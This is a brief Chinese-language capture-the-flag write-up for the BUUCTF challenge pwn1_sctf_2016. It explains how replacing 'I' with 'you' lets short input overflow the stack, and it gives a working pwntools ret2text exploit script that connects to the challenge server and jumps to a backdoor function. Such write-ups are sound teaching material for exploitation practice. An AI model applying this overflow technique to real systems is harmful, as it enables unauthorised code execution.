PWN-ret2text-2
来源BUUCTF
检查安全设置和类型
拿到先放到checksec里面检查安全设置和类型,发现保护较为薄弱,并且是32位小端序
静态分析
在IDA中查看vuln函数,发现我们只能输入32字节大小的字符(s只有32字节),而覆盖栈需要0x3C个字符,显然是没法溢出的,仔细观察,看到大写I和小写you,经过猜测和测试发现当我们给程序输入一个大写I,程序会将其替换为you,这样我们就可以构造足够的字符来溢出了,下面给出payload:
from pwn import *
context(log_level='debug')
#io=process('./pwn1_sctf_2016') # 本地打通
io=remote("node5.buuoj.cn",28285) # 远程打通
payload=b'I'*21+b'a'+p32(0x8048F0E) # 需要64个字符来填满,21个I能换63个字符加一个a,后面是后门函数地址
#io.recvline()
io.sendline(payload)
io.interactive()